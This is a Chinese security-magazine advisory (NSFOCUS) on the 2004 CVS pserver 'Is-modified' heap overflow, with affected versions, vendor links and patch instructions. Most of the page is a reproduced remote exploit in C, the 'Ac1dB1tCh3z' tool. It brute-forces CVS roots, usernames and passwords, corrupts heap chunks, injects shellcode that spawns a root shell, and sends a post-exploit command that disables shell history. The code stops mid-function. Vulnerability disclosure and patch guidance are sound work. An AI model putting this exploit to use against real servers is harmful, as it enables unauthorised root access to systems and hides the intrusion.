首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第48期->最新漏洞
期刊号: 类型: 关键词:
CVS多次Entry已被修改或未被修改标记插入操作堆溢出漏洞

日期:2004-06-03

发布日期:2004-05-19
更新日期:2004-05-24

受影响系统:
CVS CVS 1.12.7
CVS CVS 1.12.2
CVS CVS 1.12.1
CVS CVS 1.11.6
CVS CVS 1.11.5
CVS CVS 1.11.4
CVS CVS 1.11.3
CVS CVS 1.11.2
CVS CVS 1.11.15
CVS CVS 1.11.14
CVS CVS 1.11.11
CVS CVS 1.11.10
CVS CVS 1.11
CVS CVS 1.10.8
CVS CVS 1.10.7
CVS CVS 1.11.1p1
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Debian Linux 3.0
    - FreeBSD 4.7
    - FreeBSD 4.6.1
    - FreeBSD 4.6
    - FreeBSD 4.5
    - OpenBSD 3.4
    - OpenBSD 3.3
    - OpenBSD 3.2
    - OpenBSD 3.1
    - RedHat Linux 7.3
    - RedHat Linux 7.2
    - RedHat Linux 7.1
    - RedHat Linux 7.0
    - RedHat Linux 6.2
    - SuSE Linux 8.1
    - SuSE Linux 8.0
不受影响系统:
CVS CVS 1.12.8
CVS CVS 1.11.16
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 10384
CVE(CAN) ID: CAN-2004-0396

Concurrent Versions System (CVS)是一款使用极为广泛的开放源代码的版本控制软件。

CVS服务器在处理用户提交的给Entry数据打上已被修改或未被修改标记的Is-modified和Unchanged命令时存在问题,远程攻击者可以利用这个漏洞对CVS服务程序进行基于堆的溢出攻击,精心构建提交数据可能以进程权限在系统上执行任意指令。

当客户端发送一条Entry行给服务器,会额外增加字节来标记Entry是否为已被修改的或未被修改的。CVS服务器在处理标记粘附的操作逻辑上存在问题,导致允许插入任意多个'M'字符到用于存放Entry数据的堆缓冲区中。利用malloc() off-by-one利用技术可以触发缓冲区溢出,可能以CVS进程权限在系统上执行任意指令。

<*来源:Stefan Esser (s.esser@ematters.de)
  
  链接:http://security.e-matters.de/advisories/072004.html?SID=384b888de96e3bce19306db8577fca26
        http://www.linux-mandrake.com/en/security/2004/2004-048.php
                http://www.debian.org/security/2002/dsa-505
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-04:10.cvs.asc
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

无名氏提供了如下测试程序:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <zlib.h>

typedef unsigned char   uchar;

void                    progress(void);
int                     brute_cvsroot(void);
int                     brute_username(void);
int                     brute_password(void);
void                    hdl_crashed(int);
void                    bsd_exploitation(void);
void                    try_exploit(void);
void                    zflush(int);
int                     zprintf(char *, ...);
int                     zgetch(void);
void                    start_gzip(void);
void                    fill_holes(void);
char                    * zgets(void);
void                    evil_entry(void);
void                    linux_exploitation(ulong, int);
void                    do_dicotomie(void);
void                    do_xploit(void);
char                    * flush_sock(void);
void                    usage(char *);
long                    getip(char *);
void                    try_oneshoot(void);
int                     connect_to_host(char *, int);
int                     write_sock(void *, int);
int                     read_sock(void *, int);
void                    nopen(char *, int);
char                    * ngets(void);
void                    memcpy_flush(void);
void                    cvs_conn(void);
int                     detect_remote_os(void);
void                    memcpy_remote(ulong, ulong, uchar *, int);
void                    memcpy_addr(ulong, ulong, int);
void                    nclose(void);
char                    * scramble(char *);
int                     sh(int);

struct array
{
    char        * name;
    int         id;
};

struct array CVSROOTS[]=
{
    {   "/cvs"                  ,       -1      },
    {   "/cvsroot"              ,       -1      },
    {   "/var/cvs"              ,       -1      },
    {   "/anoncvs"              ,       -1      },
    {   "/repository"           ,       -1      },
    {   "/home/CVS"             ,       -1      },
    {   "/home/cvspublic"       ,       -1      },
    {   "/home/cvsroot"         ,       -1      },
    {   "/var/lib/cvs"          ,       -1      },
    {   "/var/cvsroot"          ,       -1      },
    {   "/usr/lib/cvs"          ,       -1      },
    {   "/usr/CVSroot"          ,       -1      },
    {   "/usr/share/cvsroot"    ,       -1      },
    {   "/usr/local/cvsroot"    ,       -1      },
    {   "/usr/local/cvs"        ,       -1      },
    {   "/webcvs"               ,       -1      },
    {   NULL                    ,       -1      },
};

struct array USERNAMES[]=
{
    {   "anonymous"     ,       -1      },
    {   "anoncvs"       ,       -1      },
    {   "cvsread"       ,       -1      },
    {   "anon"          ,       -1      },
    {   "cvs"           ,       -1      },
    {   "guest"         ,       -1      },
    {   "reader"        ,       -1      },
    {   "cvslogin"      ,       -1      },
    {   "anon-cvs"      ,       -1      },
    {   NULL            ,       -1      },
};

struct array PASSWORDS[]=
{
    {   ""              ,       -1      },
    {   " "             ,       -1      },
    {   "anonymous"     ,       -1      },
    {   "anoncvs"       ,       -1      },
    {   "anon"          ,       -1      },
    {   "cvs"           ,       -1      },
    {   "guest"         ,       -1      },
    {   NULL            ,       -1      },
};

#define HIGH_STACK      0xbfffffc0
#define LOWER_STACK     0xbfffd000
#define DEFAULT_ADDR    0xbffffd00
#define RANGE_VALID     0xbffffe00
#define DUMMY_ADDR      0x42424242
#define LINUX_ADDR      0xbfffe200
#define LINUX_SIZE      0x2000
#define HEAPBASE        0x082c512e

#define DEFAULT_TIMEOUT 20
#define TIMEOUT         DEFAULT_TIMEOUT
#define CMD             "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
                        "/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\
                        "unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\
                        "echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n"
#define VERT            "\033[32m"
#define NORM            "\033[0m"
#define INFO            ""
#define BAD_TRIP        "WRONG !\n"
#define GOOD_TRIP       VERT"FOUND"NORM" !\n"
#define QUIT(x...)      { printf(x); exit(0); }
#ifdef  DEBUGMSG
#define DEBUG(x...)     fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...)    fprintf(stderr, INFO""fmt)
#define aff(fmt...)     fprintf(stderr, fmt)
static char             tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
                        write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn)  read_sock(sock, buf, cn)
#define NHOLES          (256 - 31)
#define SCNUM           128
#define SCSIZE          32766
#define OFFSET          106
#define ALIGN(x, y)     ((x % y) ? x + (x % y) : x)
#define SET_FD(x)       (x - CHUNK_BK)
#define SET_BK(x)       (x - CHUNK_FD)
#define UNSET_BK(x)     (x + CHUNK_FD)
#define UNSET_FD(x)     (x + CHUNK_BK)
#define MAX_FILL_HEAP   200
#define NUM_OFF7        (sizeof("Entry "))
#define MSIZE           0x4c
#define MALLOC_CHUNKSZ  8
#define AN_ENTRYSZ      8
#define MAGICSZ         ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK       MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF         FAKECHUNK + 16
#define SIZE_VALUE      -8
#define CHUNK_PSIZE     0
#define CHUNK_SIZE      4
#define CHUNK_FD        8
#define CHUNK_BK        12
#define OVERFLOW_NUM    8
#define DEFAULT_SIZE    0x300
#define SHELLCODE_OFF   0x142
#define SHELLCODE_ADDR  (addr - SHELLCODE_OFF)
#define DUMMY2          "timetosleep"
#define DUMMY           "theosuxdick"
#define MAGICSTRING     "abroxyou"
#define ABMAGIC         "-AB-"
#define ABMAGICSZ       sizeof(ABMAGIC) - 1
#define EXPLOITROX      "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
#define PCNT            20
#define CVS_PORT        2401
#define CVS_LOGIN       "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
                        "END AUTH REQUEST\n"
#define CVS_VERIF       "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
                        "END VERIFICATION REQUEST\n"
#define CVS_SEND_ROOT   "Root %s\n"
#define CVS_GET_VERSION "version\n"
#define CVS_FLUSH       "\nnoop\nnoop\n"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS        "I LOVE YOU"
#define CVS_BAD_REP     "no such repository"
#define CVS_NO_USER     "no such user"
#define CVSENTRY        "Entry "
#define CVS_ISMOD       "Is-modified "
#define CVS_ISMODSZ     sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW      "unrecognized request"
#define CVS_ERROR       "error"
#define CVS_ERROR2      "E "
#define CVS_GZIP        "Gzip-stream "
#define CVS_OK          "ok"
#define BANNER          VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
#define ERR_CVSROOT     "unable to found a valid cvsroot\n"
#define ERR_USERNAME    "unable to found a valid username\n"
#define ERR_PASSWORD    "unable to found a valid password\n"
#define ERR_FAILURE     "Is remote really linux/bsd without security patch ?\n"
#define ERR_AUTHFAILED  "Fatal: authentification failure..\n"
#define ERR_ZPRINTF     "Too long zprintf (something is broken) !\n"
#define ERR_INFLATE     "Inflate error\n"
#define ERR_CONN        "cannot connect\n"
#define ERR_GETIP       "cannot resolve\n"
#define ERR_READSOCK    "cannot read data\n"
#define ERR_WRITESOCK   "cannot write data\n"
#define SUCCESS_LOGON   VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x)     (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
                        || (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
                        (x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \
                        (x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012')
/* 0h j3sus */
char                    zbuf[65536 * 4];
int                     zbufpos;
int                     cur_num         = 0;
int                     is_scramble     = 0;
int                     detectos        = 0;
int                     sock            = 0;
int                     port            = CVS_PORT;
ulong                   saddr           = DEFAULT_ADDR;
uint                    size            = DEFAULT_SIZE;
int                     timeout         = DEFAULT_TIMEOUT;
int                     scnum           = SCNUM;
ulong                   heapbase        = HEAPBASE;
int                     isbsd           = 0;
int                     usent           = 0;
int                     zsent           = 0;
char                    *root          = NULL;
char                    *user          = NULL;
char                    *pass          = NULL;
char                    *host          = NULL;
z_stream                zout;
z_stream                zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar                   ab_shellcode[] =
"\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
"\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
"\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
"\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
"\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
"\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
"\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar                   xx_shellcode[] =
"\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
"\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
"\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
"\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
"\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
"\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
"\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
"\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";

void                    usage(char * base)
{
    printf("Us4g3 : r34d 7h3 c0d3 d00d ;P\n");
    exit(0);
}

int                     main(int ac, char **av)
{
    int                 c;

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    printf(BANNER);
    while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
        {
            switch(c)
                {
                case 'b':
                    isbsd++;
                    break;
                case 'R':
                    detectos++;
                    break;
                case 'r':
                    root = strdup(optarg);
                    break;
                case 'i':
                    is_scramble = 1;
                    break;
                case 's':
                    saddr = strtoul(optarg, 0, 0);
                    break;
                case 't':
                    timeout = strtoul(optarg, 0, 0);
                    break;
                case 'S':
                    size = strtoul(optarg, 0, 0);
                    break;
                case 'u':
                    user = strdup(optarg);
                    break;
                case 'p':
                    pass = strdup(optarg);
                    break;
                case 'h':
                    host = strdup(optarg);
                    break;
                case 'P':
                    port = strtoul(optarg, 0, 0);
                    break;
                case 'o':
                    heapbase = strtoul(optarg, 0, 0);
                    break;
                case 'n':
                    scnum = strtoul(optarg, 0, 0);
                    break;
                default:
                    usage(av[0]);
                }
        }
    if (!host || (detectos && isbsd))
        usage(av[0]);
    if (!root)
        if(!brute_cvsroot())
            QUIT(ERR_CVSROOT);
    if (!user)
        if(!brute_username())
            QUIT(ERR_USERNAME);
    if (!pass)
        if(!brute_password())
            QUIT(ERR_PASSWORD);
    do_xploit();
    return (0);
}

void                    do_xploit(void)
{
    int                 linux_only = 0;

    signal(SIGPIPE, hdl_crashed);
    if (detectos)
        linux_only = detect_remote_os();
    if (isbsd)
        bsd_exploitation();
    else
        {
            linux_exploitation(LINUX_ADDR, LINUX_SIZE);
            if (!linux_only)
                bsd_exploitation();
        }
    printf(ERR_FAILURE);
    return;
}

int                     detect_remote_os(void)
{
    info("Guessing if remote is a cvs on a linux/x86...\t");
    if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
       !range_crashed(0x42424242, 0x42424242 + 4))
        {
            printf(VERT"NO"NORM", assuming it's *BSD\n");
            isbsd = 1;
            return (0);
        }
    printf(VERT"Yes"NORM" !\n");
    return (1);
}

void                    bsd_exploitation(void)
{
    printf("Exploiting %s on a *BSD\t", host);
    do_auth();
    fill_holes();
    evil_entry();
    start_gzip();
    try_exploit();
}

void                    linux_exploitation(ulong addr, int sz)
{
    char                * buf;

    printf("Exploiting %s on a Linux\t", host);
    cvs_conn();
    fflush(stdout);
    memcpy_addr(addr, SHELLCODE_ADDR, sz);
    memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
                  sizeof(ab_shellcode) - 1);
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, MAGICSTRING))
        {
            printf(EXPLOITROX);
            sh(sock);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    info(BAD_TRIP);
}

int                     do_auth(void)
{
    char                * your_mind;

    nopen(host, port);
    nprintf(CVS_LOGIN, root, user, scramble(pass));
    your_mind = flush_sock();
    if (!strstr(your_mind, CVS_AUTH_SUCCESS))
        QUIT(ERR_AUTHFAILED);
    free(your_mind);
    nprintf(CVS_SEND_ROOT, root);
}

void                    fill_heap(void)
{
    int                 c;

    for (c = 0; c != MAX_FILL_HEAP; c++)
        nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
                "CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
    for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
        nprintf(CVSENTRY"CC/CC/CC\n");
}

void                    cvs_conn(void)
{
    do_auth();
    fill_heap();
}

char                    * get_dummy(void)
{
    static char         buf[2048] = { '\0' };

    memset(buf, '\0', sizeof(buf));
    sprintf(buf, CVSENTRY"B%s/", DUMMY2);
    memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
    strcat(buf, "/\n");
    return (&buf[0]);
}

char                    * build_chunk(ulong addr1, ulong addr2, int i)
{
    char                num[20];
    char                * buf = get_dummy();

    if (i != -1)
        {
            sprintf(num, "%d", i);
            memcpy(buf + NUM_OFF7, num, strlen(num));
        }
    *(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
    *(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
    *(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
    return (buf);
}

void                    memcpy_flush(void)
{
    int                 i = 0, j;
    char                * buf;
    char                num[20];

    if (!cur_num)
        return;
    buf = get_dummy();
    for (i = 0; i != cur_num - 1; i++)
        {
            sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
            sprintf(num, "%d", i);
            memcpy(buf + CVS_ISMODSZ, num, strlen(num));
            for (j = 0; j != OVERFLOW_NUM; j++)
                nprintf(buf);
        }
    return;
}

void                    memcpy_remote(ulong range, ulong addr, uchar * buf,
                                      int sz)
{
    int                 i;

    if (sz <= 0)
        return ;
    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
        {
            range &= 0xFFFFFF00;
            range += buf[i];
            if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
                nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
        }
    return;
}

void                    memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
    int                 aff = (sz / 4) / PCNT, j;

    if (!cur_num)
        nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    putchar('[');
    for (j = 0; j != PCNT; j++)
        putchar(' ');
    putchar(']');
    for (j = 0; j != PCNT + 1; j++)
        putchar('\b');
    fflush(stdout);
    for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
        {
            if (j == aff)
                {
                    putchar('#');
                    fflush(stdout);
                    j = 0;
                }
            if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
                nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
        }
    printf("#\t");
    fflush(stdout);
    return;
}

int                     range_crashed(int addr, int addr2)
{
    char                * buf;

    cvs_conn();
    nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
    for (; addr < addr2; addr += 8)
        if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
            nprintf(build_chunk(addr, addr + 4, cur_num++));
    memcpy_flush();
    nprintf(CVS_FLUSH);
    buf = flush_sock();
    if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
        || strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
        {
            nclose();
            return (0);
        }
#ifdef SHITTEST
    sleep(333);
#endif
    nclose();
    return (1);
}

void                    zflush(int finish)
{
    static char         outbuf[65536];

    zout.next_in = zbuf;
    zout.avail_in = zbufpos;
    do {
        zout.next_out = outbuf;
        zout.avail_out = sizeof(outbuf);
        if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
            QUIT("zflush : deflate failed !\n");
        zsent += sizeof(outbuf) - zout.avail_out;
        write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
    } while (zout.avail_out == 0 && zout.avail_in != 0);
    zbufpos = 0;
    return;
}

int                     zprintf(char *fmt, ...)
{
    static char         buf[65536];
    int                 len;
    va_list             ap;

    va_start(ap, fmt);
    len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
    usent += len;
    if ((sizeof(zbuf) - zbufpos) < (len))
        zflush(0);
    memcpy(zbuf + zbufpos, buf, len);
    zbufpos += len;
    if (zbufpos >= sizeof(zbuf))
        QUIT(ERR_ZPRINTF);
    return (len);
}

int                     zgetch(void)
{
    static char         * outbuf = NULL;
    static int          outpos = 0, outlen = 0;
    static char         rcvbuf[32768];
    static char         dbuf[4096];
    int                 got;

  retry:
    if (outpos < outlen && outlen)
        return outbuf[outpos++];
    free(outbuf);
    outlen = 0;
    outbuf = NULL;
    got = read_sock(rcvbuf, sizeof(rcvbuf));
    if (got <= 0)
        QUIT(ERR_READSOCK);
    zin.next_in = rcvbuf;
    zin.avail_in = got;
    while (1)
        {
            int status, dlen;

            zin.next_out = dbuf;
            zin.avail_out = sizeof(dbuf);
            status = inflate(&zin, Z_PARTIAL_FLUSH);
            switch (status)
                {
                case Z_OK:
                    outpos = 0;
                    dlen = sizeof(dbuf) - zin.avail_out;
                    outlen += dlen;
                    outbuf = realloc(outbuf, outlen);
                    memcpy(outbuf + outlen - dlen, dbuf, dlen);
                    break;
                case Z_BUF_ERROR:
                    goto retry;
                default:
                    QUIT(ERR_INFLATE);
                }
        }
}

char                    * zgets(void)
{
    static char         buf[32768];
    char                * p = buf;
    int                 c;

    while (1)
        {
            c = zgetch();
            if (c == '\n')
                break;
            *p++ = c;
            if (p > buf + sizeof(buf))
                {
                    p--;
                    break;
                }
        }
    *p = 0;
    return (buf);
}

void                    start_gzip(void)
{
    nprintf(CVS_GZIP"1\n");
    deflateInit(&zout, 9);
    inflateInit(&zin);
    return;
}

void                    fill_holes(void)
{
    int i, j;

    for (i = 0; i < 10; i++)
        nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
    for (i = 0; i < 10; i++)
        nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
    for (i = 0; i < NHOLES; i++)
        {
            nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
            for (j = 0; j < 5; j++)
                nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
        }
    nprintf("Set x=%472X\n", 10);
    return;
}

void                    evil_entry(void)
{
    int                 i;
    ulong               heap = heapbase;

    nprintf("Set x=\n");
    nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
            heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}

void                    try_exploit(void)
{
    time_t              last, now;
    int                 i, j, len, o;
    static char         sc[SCSIZE+1];

    for (i = 0; i < OFFSET; i++)
        zprintf(CVS_ISMOD"AB\n");
    printf("[", SCSIZE * scnum / 1024);
    for (i = 0; i < PCNT; i++)
        putchar(' ');
    printf("]");
    for (i = 0; i < PCNT + 1; i++)
        printf("\b");
    memset(sc, 'A', SCSIZE);
    memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
           sizeof(xx_shellcode));
    sc[SCSIZE] = 0;
    last = o = 0;
    for (i = 0; i < scnum; i++)
        {
            now = time(NULL);
            if (now > last || (i + 1 == scnum))
                {
                    last = now;
                    for (j = 0; j < o; j++)
                        printf("\b");
                    for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
                        printf("#");
                }
            zprintf(CVSENTRY"%s\n", sc);
        }
    printf("] ");
    zflush(0);
  

建议:
--------------------------------------------------------------------------------
厂商补丁:

CVS
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

CVS Upgrade cvs-1.11.16.tar.gz
http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=489

CVS Upgrade cvs-1.12.8.tar.gz
http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=491

Debian
------
Debian已经为此发布了一个安全公告(DSA-505-1)以及相应补丁:
DSA-505-1:New cvs packages fix remote exploit
链接:http://www.debian.org/security/2002/dsa-505

补丁下载:

Source archives:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4.dsc
Size/MD5 checksum:      693 c4580daf3d02e68bf271c3fc2fa9fe8c
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4.diff.gz
Size/MD5 checksum:    52212 a44f53ccf950679f3257a2f3487220b7
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian.orig.tar.gz
Size/MD5 checksum:  2621658 500965ab9702b31605f8c58aa21a6205

Alpha architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_alpha.deb
Size/MD5 checksum:  1178736 503ab302999d5fec9c4cb41f735bc2ab

ARM architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_arm.deb
Size/MD5 checksum:  1105276 8b2536e975a3272b5d10590bd768b6c7

Intel IA-32 architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_i386.deb
Size/MD5 checksum:  1085994 195aa822dbd450bbb3321f17442b3644

Intel IA-64 architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_ia64.deb
Size/MD5 checksum:  1270986 2adee3e24f61234e0c597c55983257df

HP Precision architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_hppa.deb
Size/MD5 checksum:  1147338 e1a7eec47c9f6ca11d342c7a680abd93

Motorola 680x0 architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_m68k.deb
Size/MD5 checksum:  1065866 5238933fe0b1d9a9e7e2506cc39d8411

Big endian MIPS architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_mips.deb
Size/MD5 checksum:  1129740 c6e9a932c2bdabbfee51c792d813a439

Little endian MIPS architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_mipsel.deb
Size/MD5 checksum:  1131106 05424d6056d0c9123c88b7e7f6b27f7d

PowerPC architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_powerpc.deb
Size/MD5 checksum:  1116184 1fe49f6356a160087cf669f7afc12700

IBM S/390 architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_s390.deb
Size/MD5 checksum:  1097006 6e98ead7e926fc07203cf43e84b1152d

Sun Sparc architecture:

http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_sparc.deb
Size/MD5 checksum:  1107284 47f8dad7b309c9c19542bf1fc9502f77

补丁安装方法:

1. 手工安装补丁包:

  首先,使用下面的命令来下载补丁软件:
  # wget url  (url是补丁下载链接地址)

  然后,使用下面的命令来安装补丁:  
  # dpkg -i file.deb (file是相应的补丁名)

2. 使用apt-get自动安装补丁包:

   首先,使用下面的命令更新内部数据库:
   # apt-get update
  
   然后,使用下面的命令安装更新软件包:
   # apt-get upgrade

FreeBSD
-------
FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-04:10)以及相应补丁:
FreeBSD-SA-04:10:CVS pserver protocol parser errors
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-04:10.cvs.asc

补丁下载:

执行以下步骤之一:

1) 将有漏洞的系统升级到4-STABLE,或修订日期后的_5_2,RELENG_4_9或RELENG_4_8
安全版本。

2) 为当前系统打补丁:

已验证下列补丁可应用于FreeBSD 4.7, 4.8, 4.9, 4.10, 5.0, 5.1和5.2系统。

a) 从以下位置下载相关补丁,并使用PGP工具验证附带的PGP签名。

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:10/cvs.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:10/cvs.patch.asc

b) 以root执行以下命令:

# cd /usr/src
# patch < /path/to/patch
# cd /usr/src/gnu/usr.bin/cvs
# make obj && make depend && make && make install

VI. 更新细节

下面列出了已修正的FreeBSD版本中每个被修改文件的

MandrakeSoft
------------
MandrakeSoft已经为此发布了一个安全公告(MDKSA-2004:048)以及相应补丁:
MDKSA-2004:048:Updated cvs packages fix remotely exploitable vulnerability
链接:http://www.linux-mandrake.com/en/security/2004/2004-048.php

补丁下载:

Updated Packages:

Mandrakelinux 10.0:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/10.0/RPMS/cvs-1.11.14-0.2.100mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/10.0/SRPMS/cvs-1.11.14-0.2.100mdk.src.rpm

Mandrakelinux 10.0/AMD64:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/10.0/RPMS/cvs-1.11.14-0.2.100mdk.amd64.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/10.0/SRPMS/cvs-1.11.14-0.2.100mdk.src.rpm

Corporate Server 2.1:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/corporate/2.1/RPMS/cvs-1.11.14-0.2.C21mdk.i586.rpm
